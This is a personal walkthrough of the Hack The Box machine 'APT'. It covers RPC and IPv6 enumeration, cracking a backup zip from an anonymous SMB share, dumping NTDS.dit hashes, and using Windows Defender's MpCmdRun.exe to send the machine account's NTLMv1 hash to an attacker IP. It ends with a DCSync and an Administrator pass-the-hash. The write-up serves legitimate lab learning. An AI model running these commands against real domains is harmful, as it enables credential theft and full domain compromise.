$ nmap -p- --min-rate 5000 10.129.96.60
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 14:58 +08
Nmap scan report for 10.129.96.60
Host is up (0.0095s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
This is supposed to be an AD machine, so seeing such few ports is kinda new.
Port 80
Port 80 has a corporate page of some hosting service company thing:
Most of the text is just placeholder text. I added gigantichosting.com to my /etc/hosts file. Running gobuster and wfuzz for directory and subdomain searches return nothing of interest. I think we'll come back to this later.
Port 135 RPC
The only other lead was this port. impacket-rdcdump can be used to enumerate it:
$ impacket-rpcdump -port 135 10.129.96.60
This would return a bunch of information, 266 endpoints to be specific. From the output, we can see loads of stuff like the processes running and what not. Amongst all of this, there were a lot of UUIDs given out like this:
I wasn't sure what to do with this information. I also could not connect via rpcclient, and there was no credentials I had. I spent quite a bit of time stuck here, and went to research more about RPC and its services.
RPC Reading -> IPv6 Address
Here's a resource that I used to read more about RPC.
Turns out, the ports 135-139 all have different purposes depsite being grouped under the SMB/RPC umbrella. Port 135 itself has specific services that are being used, and each of them sort of have their own 'interface'.
My question was, why is it that the only services picked up by nmap are port 80 and 135? From the output of impacket-rpcdump, there were loads of services in use like dns.exe and what not.
I googled a bit more about RPC and found someone else's pentesting notebook that had a command I did not recognise.
A tool called IOXIDResolver.py was being used.
I took a look at 0xdf's writeup (because I really didn't know what was going on) and found that he used the same tool as well. The trick here is that the 'AD' portion is listening on IPv6 instead of IPv4, and that since RPC was open on IPv4 we can resolve the addresses for the interfaces of services enumerated with rpcdump.
I ran the above script and found a new IP address:
I ran an nmap IPv6 scan (using -6) and found new ports:
$ nmap -p- --min-rate 5000 -Pn -6 dead:beef::b885:d62a:d679:573f
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 15:26 +08
Nmap scan report for dead:beef::b885:d62a:d679:573f
Host is up (0.0076s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49673/tcp open unknown
49689/tcp open unknown
56964/tcp open unknown
Now this was looking more AD-like. Remember that this is an IPv6 address, so most tools I tried just didn't work. crackmapexec was one of them that worked:
We have access to a backup share using null credentials. smbclient supports IPv6, and we can use that to login and view the files:
$ smbclient \\\\dead:beef::b885:d62a:d679:573f\\backup -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Sep 24 15:30:52 2020
.. D 0 Thu Sep 24 15:30:52 2020
backup.zip A 10650961 Thu Sep 24 15:30:32 2020
The backup.zip is password protected, so we can first zip2john it and then john it.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch (backup.zip)
1g 0:00:00:00 DONE (2023-06-22 15:32) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
$ unzip backup.zip
Archive: backup.zip
[backup.zip] Active Directory/ntds.dit password:
inflating: Active Directory/ntds.dit
inflating: Active Directory/ntds.jfm
creating: registry/
inflating: registry/SECURITY
inflating: registry/SYSTEM
Interesting. We can use secretsdump.py to get all the hashes out, and there were A LOT. A few thousand to be specific.
$ impacket-secretsdump -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL > hashes
There was no way the machine had 2000 users, so we need to first find out which are the valid users.
User Brute -> Hash Brute
We can first use grep to retrieve the users present in the file. Each user's entry ends with :::, which we can use grep to retrieve and then awk to print out the first field.
The machine has some type of protection in place preventing brute force, since I cannot run two brute force scans back to back (kerbrute and then crackmapexec for example) without it closing my connection and blocking my IP address.
We cannot use this hash to evil-winrm in unfortunately, as it seems this user is not part of the Remote Management Group. However, this does not stop us from retrieving tickets as the user. We can use getTGT.py to request for a TGT.
Also, we can use this hash to connect to RPC or view the registry using Impacket tools. Digging around the Impacket suite of tools, we find impacket-reg which can be used to query the registry.
The hardest part was finding the name of the registry to query. Most examples online used HKLM\\SOFTWARE or HKCU\\SOFTWARE. Our target should be the current user registry. It was this article that introduced me to HKU being another name:
This command basically states that NTLMv1 is enabled on this machine instead of the more secure NTLMv2. This opens up the potential for NTLM stealing.
We just need to somehow use a service run by the Administrator to steal the hashes. Turns out, Windows Defender here can be used:
*Evil-WinRM* PS C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0> .\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.42\file
Scan starting...
CmdTool: Failed with hr = 0x80508023. Check C:\Users\HENRY~2.VIN\AppData\Local\Temp\MpCmdRun.log for more information
We now have an NTLMv1 hash! Googling how to crack this leads me to this site:
This would convert it to an NTLM hash that we can pass along, of which we get d167c3238864b12f5f82feae86a7f798. Since this is the machine account APT$, we can perform a DCSync attack on the domain.
$ secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@htb.local'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Afterwards, we can use this hash to evil-winrm into the machine.
A unique machine that was rather difficult for me. I definitely needed to use a writeup for this one, or I would still be stuck at the RPC part. Rooted!
